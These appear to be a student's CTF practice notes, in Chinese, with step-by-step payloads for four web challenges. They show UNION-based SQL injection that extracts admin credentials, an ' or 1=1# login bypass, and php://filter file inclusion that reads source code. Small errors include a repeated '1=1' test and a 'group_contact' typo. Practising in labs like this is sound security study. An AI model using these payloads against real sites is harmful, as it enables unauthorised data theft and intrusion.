BUU SQL COURSE 1
热点存在三条测试新闻,随意点击一个抓包,发现id参数可控
id=1+and+1=1 页面正常回显
id=1+and+1=1 页面没有回显,判断此处存在sql注入
结构化查询语言(Structured Query Language)简称SQL,是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。
sql注入,先判断回显位置
id=1+order+by+1,2 两列回显
id=1+order+by+1,2,3 无回显
因此判断有两处回显
接着判断数据库名(这里id的参数不能是1,2,3,其他值都可)
id=4+union+select+1,database()
得到数据库名news
判断表名
id=4+union+select+1,(select+group_contact(table_name)+from+information_schema.tables+where+table_schema='news')
得到两个表名admin,contents
判断admin表的列名
id=4+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema='news'+and+table_name='admin')
得到三个列名id,username,password
查询username和password的内容
id=4+union+select+1,(select+group_concat(username)+from+admin)
得到username:admin
id=4+union+select+1,(select+group_concat(password)+from+admin)
得到password
接着返回登录页面输入即
[SUCTF 2019]EasySQL 1
知识点:
sql的优先级:
()>and>or
输入用户名:admin'和密码:admin
发现sql报错,得知是“闭合”
猜测后台的sql语句如下:
sql="select * from user where username='$username&'and password='$password&'"
使用万能密码,即在密码后加上' or 1=1#,即可得到flag
(万能密码的原理是利用or和and的优先级使得后面的where子句为真)
注:1=1恒真,会输出所有用户的信息
极客大挑战 Havefun
打开题目,发现Havefun的页面,F12查看源代码
根据给出的php代码再去url上输入?cat=dog,得到flag
ACTF2020 新生赛 Include
打开题目显示tips的超链接,进入发现不是flag,通过观察发现页面为原题目页面/?file=flag.php参数
由于参数为file并且题目为Include,该题目为文件包含
通过php伪协议来读取源文件
?file=php://filter/read=convert.base64-encode/resource=flag.php
得到base64编码的字符串,通过解码得到flag
注:php:// 是一种伪协议,主要是开启了一个输入输出流,理解为文件数据传输的通道。在URL中传入参数如果是 php文件会被Web容器解释,从而看不到源码。通过伪协议php://filter的方式来打开数据流,并将其用base64编码的方式读取,显示在页面上。在URL中传入参数如果是 php文件会被Web容器解释,从而看不到源码。通过伪协议php://filter的方式来打开数据流,并将其用base64编码的方式读取,显示在页面上。
当前问题:
1.未掌握sql的相关知识,做题全靠解析,无法解读代码的含义(诸如:“闭合”)
2.php未学习